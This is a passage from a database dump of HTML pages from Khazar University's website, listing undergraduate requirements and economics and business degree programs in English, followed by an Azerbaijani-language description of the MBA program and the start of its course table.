margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">The&nbsp;<strong>University Requirements&nbsp;</strong>include\r\ntwo main components and give the total number of 54 credits:</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>English Language&nbsp;</strong>includes 30 semester credits of:</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp; -\r\n&nbsp;English Foundation 1 (8 credits)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp; -&nbsp;&nbsp;English\r\nFoundation 2 (8&nbsp;credits)&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp; -&nbsp;&nbsp;Academic\r\nEnglish (8&nbsp;credits)&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp; -&nbsp;&nbsp;English\r\nfor Special Purposes (6 credits)&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Azerbaijani\r\nStudies&nbsp;</strong>includes 24 semester\r\ncredits of:</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp; -&nbsp;&nbsp;Azerbaijani\r\nLanguage and Composition (6 credits)&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp; -&nbsp;&nbsp;Azerbaijani\r\nLiterature (6 credits)&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp; -\r\n&nbsp;Azerbaijani Culture (6 credits)&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp; -&nbsp;&nbsp;History\r\nof Azerbaijan (6 credits)&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>The</strong>&nbsp;<strong>General Education Requirements&nbsp;</strong>provide\r\nstudents with a minimum of 42 credits.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\"><strong>The Humanities</strong>&nbsp;courses division of the program includes\r\nparticular courses in&nbsp;<em>Literature, Language and Linguistics, Philosophy,\r\nHistory, Culture and Civilization, Fine Arts and Art History.&nbsp;</em>Students\r\nmust take at least two courses with a minimum of 12 credits, 6 credits for each\r\ncourse.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\"><strong>The Social Sciences</strong>&nbsp;group in general contains courses\r\nin&nbsp;<em>Geography, Political Science, International Relations, Law and\r\nGovernment, Anthropology, Economics, Sociology and Psychology.&nbsp;</em>Students\r\nmust take at least two courses with a minimum of 12 credits, 6 credits for each\r\ncourse. School recommends as a Social Science course Principles of\r\nMacroeconomics.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\"><strong>The Science and\r\nTechnology</strong>&nbsp;component of the\r\nGeneral Education Program unites three divisions. Students must take at least\r\nthree courses with a minimum of 18 credits:</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp; -&nbsp;&nbsp;Physical\r\nSciences and Mathematics</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp; -&nbsp;&nbsp;Life\r\nSciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp; -&nbsp;\r\nComputer Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Major Requirements</strong>&nbsp;for each major are divided into two\r\ngroups:&nbsp;<strong>Required</strong>&nbsp;and&nbsp;<strong>Elective</strong>courses.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bachelor of Science\r\n(BS) in Economics</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">The program in\r\nEconomics is primarily designed for the students who want to distinguish\r\nthemselves in field of applied economics and furnishes students with the\r\nprofessional knowledge necessary to successfully perform the role of business\r\neconomists in private and public sectors. The program covers activities related\r\nto quantitative economic analysis, monetary policy, economic performance and\r\nglobalization.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>&nbsp;&nbsp;</strong><strong>⇨</strong><strong> &nbsp;</strong><a href=\"http://www.khazar.org/files/eco_depart/Economics%202014.pdf\">The BS&nbsp;in\r\nEconomics&nbsp;Curriculum&nbsp;2014-present (PDF)</a><strong>&nbsp;</strong>&nbsp;<strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>&nbsp;&nbsp;</strong><strong>⇨</strong><strong> &nbsp;</strong><a href=\"http://www.khazar.org/files/eco_depart/Bachelor_of_Science_(BS)_in_Economics.pdf\">The BS&nbsp;in\r\nEconomics&nbsp;Curriculum&nbsp;2009-2013&nbsp;(PDF)</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bachelor of Business\r\nAdministration (BBA) in Finance&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">The program in Finance\r\nis designed for students who are interested in careers in the fields of\r\nfinance, financial analysis, financial management and banking. The program\r\nprovides a strong awareness of the problems and methods related to financial\r\noperations in financial and non-financial institutions.&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\"><strong>&nbsp;&nbsp;</strong><strong>⇨</strong><strong> &nbsp;</strong><a href=\"http://www.khazar.org/files/eco_depart/Finance%202014.pdf\">The BBA in Finance Curriculum 2014-present (PDF)</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>&nbsp;&nbsp;</strong><strong>⇨</strong><strong>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Bachelor_of_Business_Administration_(BBA)_in_Finance.pdf\">&nbsp;</a></strong><a href=\"http://www.khazar.org/files/eco_depart/Bachelor_of_Business_Administration_(BBA)_in_Finance.pdf\">The BBA in Finance Curriculum 2009-2013&nbsp;(PDF)</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bachelor of Business\r\nAdministration (BBA) in Accounting</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">The Accounting program\r\nis designed to provide the basic accounting knowledge and skills required for\r\nthe accounting professionals. The prog­ram encompasses such areas as financial\r\nauditing, operational auditing, financial reporting, corporate tax planning,\r\ncost analysis and control.&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\"><strong>&nbsp;&nbsp;</strong><strong>⇨</strong><strong> &nbsp;</strong><a href=\"http://www.khazar.org/files/eco_depart/Accounting%202014.pdf\">The BBA in Accounting Curriculum 2014-present&nbsp;(PDF)</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\"><strong>&nbsp;&nbsp;</strong><strong>⇨</strong><strong>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Bachelor_of_Business_Administration_(BBA)_in_Accounting.pdf\">&nbsp;</a></strong><a href=\"http://www.khazar.org/files/eco_depart/Bachelor_of_Business_Administration_(BBA)_in_Accounting.pdf\">The BBA in Accounting Curriculum 2009-2013&nbsp;(PDF)</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bachelor of Business\r\nAdministration (General)</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">The program in General\r\nBusiness Administration is designed to develop the basic skills required by\r\ngeneralist managers in business and other organizations. The program develops\r\nthe ability to analyze and resolve administrative and organizational problems\r\nin business and other organizations.&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\"><strong>&nbsp;&nbsp;</strong><strong>⇨</strong><strong>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Business%202014.pdf\">&nbsp;</a></strong><a href=\"http://www.khazar.org/files/eco_depart/Business%202014.pdf\">The BBA (General)&nbsp;Curriculum 2014-present&nbsp;(PDF)</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\"><strong>&nbsp;&nbsp;</strong><strong>⇨</strong><strong> &nbsp;</strong><a href=\"http://www.khazar.org/files/eco_depart/Bachelor_of_Business_Administration_(General).pdf\">The BBA (General)&nbsp;Curriculum 2009-2013&nbsp;(PDF)</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bachelor of Business\r\nAdministration (BBA) in Management</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">The program in\r\nManagement is designed to develop the basic skills required by managers in\r\nbusiness and other organizations. The program develops the ability to analyze\r\nand resolve administrative and organizational problems in production\r\nmanufacturing and service organizations.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>&nbsp;&nbsp;</strong><strong>⇨</strong><strong>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Management%202014.pdf\">&nbsp;</a></strong><a href=\"http://www.khazar.org/files/eco_depart/Management%202014.pdf\">The BBA in Management Curriculum 2014-present&nbsp;(PDF)</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>&nbsp;&nbsp;</strong><strong>⇨</strong><strong> &nbsp;</strong><a href=\"http://www.khazar.org/files/eco_depart/Bachelor_of_Business_Administration_(BBA)_in_Management.pdf\">The BBA in Management&nbsp;Curriculum\r\n2009-2013&nbsp;(PDF)</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bachelor of Business\r\nAdministration (BBA) in Marketing</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">The Marketing program\r\nis designed to provide the basic knowledge in general marketing, markets and\r\ncustomers relationships, product development, pricing, advertising, promotion and\r\ndistribution.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>&nbsp;&nbsp;</strong><strong>⇨</strong><strong> &nbsp;</strong><a href=\"http://www.khazar.org/files/eco_depart/Marketing%202014.pdf\">The BBA in Marketing&nbsp;Curriculum\r\n2014-present&nbsp;(PDF)&nbsp;</a></p>\r\n<strong>&nbsp;&nbsp;⇨ &nbsp;</strong><a href=\"http://www.khazar.org/files/eco_depart/Bachelor_of_Business_Administration_(BBA)_in_Marketing.pdf\">The BBA in Marketing&nbsp;Curriculum 2009-2013&nbsp;(PDF)</a>  <br></div>'),(573,374,'az','Magistr dərəcəsi proqramı','Magistr dərəcəsi proqramı','<p style=\"font-family:arial, helvetica, sans-serif;font-size:small\"><br></p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Biznesin&nbsp;idarə olunması üzrə İxtisaslaşmadan asılı olaraq MBA proqramı biznesin müxtəlif sahələrinin idarə olunmasına dair dərin biliklər verir və bacarıqları inkişaf etdirir. MBA məzunları hər hansı bir təşkilatda rəqabət aparmaqda öz üstünlüklərini nümayiş etdirirlər.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Biznes aləmində lider mövqeyin tutulmasında MBA proqramında əldə edilmiş biliklər həlledici rol oynayır.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Proqramda əldə edilmiş bilik və bacarıqlar hər hansı bir təşkilatda tətbiq oluna bilər.Bu istər peşəkar menecerlər, istərsə də sahibkarlıq arzusunda olanlar üçün&nbsp; münasibdir.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">MBA proqramı beynəlxalq təcrübəyə əsaslanaraq hazırlanmışdır. Bu proqram üzrə dərs deyən müəllimlərin əksəriyyəti aparıcı xarici universitetləri bitirmiş və ya həmin universitetlərdə ixtisaslarını artırmışlar.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Xəzər Universitetinin tanınmış xarici&nbsp; universitetlərlə sıx əlaqələri intellektual resurslar və təcrübə mübadiləsi üçün geniş imkanlar yaradır. Məhz bu amillərə görə universitetimizin MBA proqramı hər hansı bir biznes problemini, geniş maraq dairəsi baxımından tədqiq etməyə, liderlik və sahibkarlıq istedadları və peşəkar bilikləri inkişaf etdirməyə imkan yaradır.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\"><br></p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Proqramın xülasəsi</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Proqram iki illik müddət üçün nəzərdə tutulub. Tədrisdə&nbsp; müxtəlif üsullardan istifadə edilir– mühazirələr, seminarlar, müzakirələr, tətbiqi misalların təhlili, biznes simulyasiya, qrup fəaliyyəti. Biliklərin qiymətləndirilməsi üçün formal tapşırıqlar, qrup təqdimatları, kurs işləri və yazılı imtahanlardan istifadə edilir.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Proqramın üstünlüklərdən biri də ondan ibarətdir ki, dərs cədvəlinin tərtibində&nbsp; tələbələrin iş qrafikləri nəzərə alınır.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">MBA dərəcəsinin tələbləri</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">MBA&nbsp;dərəcəsini almaq üçun tələbə proqramın məzmun və həcm tələblərini tam yerinə yetirməlidir.&nbsp;Proqram 45 kreditin toplanmasını nəzərdə tutur.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\"><br></p><p margin-top:4.0pt;margin-right:0in;margin-bottom:10.0pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Tədris proqramı</p><p margin-top:4.0pt;margin-right:0in;margin-bottom:10.0pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">A.İlkin tələblər</p><p margin-top:4.0pt;margin-right:0in;margin-bottom:10.0pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Cəbr və riyaziyyat</p><p margin-top:4.0pt;margin-right:0in;margin-bottom:10.0pt;margin-left:35.4pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Kompüterdə işləmək vərdişləri</p><p>Ünsiyyət vərdişləri</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\"><br></p><p margin-top:4.0pt;margin-right:0in;margin-bottom:10.0pt;margin-left:0in;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">B. Baza bilikləri</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Biznes təhsili olmayan tələbələrə birinci semestrdə əlavə olaraq aşağıdakı fənlər təklif olunur:</p><ul type=\"disc\"><li>Statistika</li><li>İqtisadiyyat</li></ul><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Bakalavr dərəcəsi biznes ixtisası üzrə olmayan tələbə baza biznes kurslarının öyrənilməsindən azad olunmaq üçün bu fənləri qənaətbəxş səviyyədə bildiyini nümayiş etdirməlidir.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">MBA proqramı&nbsp; Maliyyə, Mühasibat uçotu və audit, Beynəlxalq biznes, Menecment, Dünya iqtisadiyyatı, Enerji menecmenti və Biznesin idarə edilməsi ixtisaslarını təklif edir.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Maliyyə&nbsp;ixtisası məzunlara rəqabətli maliyyə mühitində maliyyə meneceri kimi müvəffəqiyyətlə fəaliyyət göstərmək üçün tələb olunan korporativ və beynəlxalq maliyyə, maliyyə bazarları, təşkilatlar və siyasətinə dair dərin biliklər verir.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Mühasibat uçotu və audit&nbsp;ixtisası biznes və dövlət təşkilatlarında peşəkar mühasib vəzifəsində çalışmaq arzusunda olanlara mühasibat məlumatlarını hazırlamaq, onlardan istifadə etmək, məlumatların hərtərəfli təhlil edilməsi üçün lazım olan dərin analitik biliklər verir,&nbsp; uyğun bacarıqları inkişaf etdirir.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Menecment&nbsp;ixtisası biznesin müxtəlif funksional sahələrində liderlik əldə etmək və peşəkar menecer kimi&nbsp; fəaliyyət göstərmək arzusunda olanlara hərtərəfli peşəkar biliklər verir.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Beynəlxalq biznes&nbsp;ixtisası üzrə təhsil alan tələbələr qlobal biznes mühitində müvəfəqiyyətlə fəaliyyət göstərmək üçün lazım olan funksional və peşə bilikləri əldə edir, eyni zamanda idarəetmə baxımından mühüm rol oynayan müxtəlif mədəni mühitlərlə yaxından tanış olurlar.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Biznesin idarə edilməsi&nbsp;ixtisası ümumi xarakter daşıyır, eyni zamanda tələbənin fərdi maraqlarına uyğun bir sıra fənləri seçmək və əlavə biliklər əldə etmək imkanı verir.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Enerji menecmenti&nbsp;ixtisasında tələbələr məhdud enerji sərvətlərindən səmərəli istifadə edilməsi, enerji təminatının təhlükəsizliyi, region problemləri və bütövlükdə enerjinin idarə edilməsinin qlobal problemləri ilə tanış olurlar.</p><table cellspacing=\"0\" cellpadding=\"0\" width=\"96%\" width:96.0%;margin-left:5.4pt;border-collapse:collapse;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\" style=\"box-sizing: border-box; border-spacing: 0px; border-collapse: collapse; background-color: rgb(255, 255, 255); border-style: solid; border-color: rgb(204, 204, 204); color: rgb(51, 51, 51); font-family: &quot;Source Sans Pro&quot;, sans-serif; font-size: 14px;\"><tbody><tr><td width=\"31%\" colspan=\"2\" width:31.0%;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.25pt\"\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">KOD</p></td><td width=\"46%\" width:46.0%;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.25pt\"\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">FƏNLƏR</p></td><td width=\"22%\" colspan=\"2\" width:22.0%;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.25pt\"\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:right;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">KREDITLƏR</p></td></tr><tr><td width=\"31%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"56%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td></tr><tr><td width=\"31%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">BİZNESİN ƏSASLARI</p></td><td width=\"56%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:right;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">30</p></td></tr><tr><td width=\"31%\" 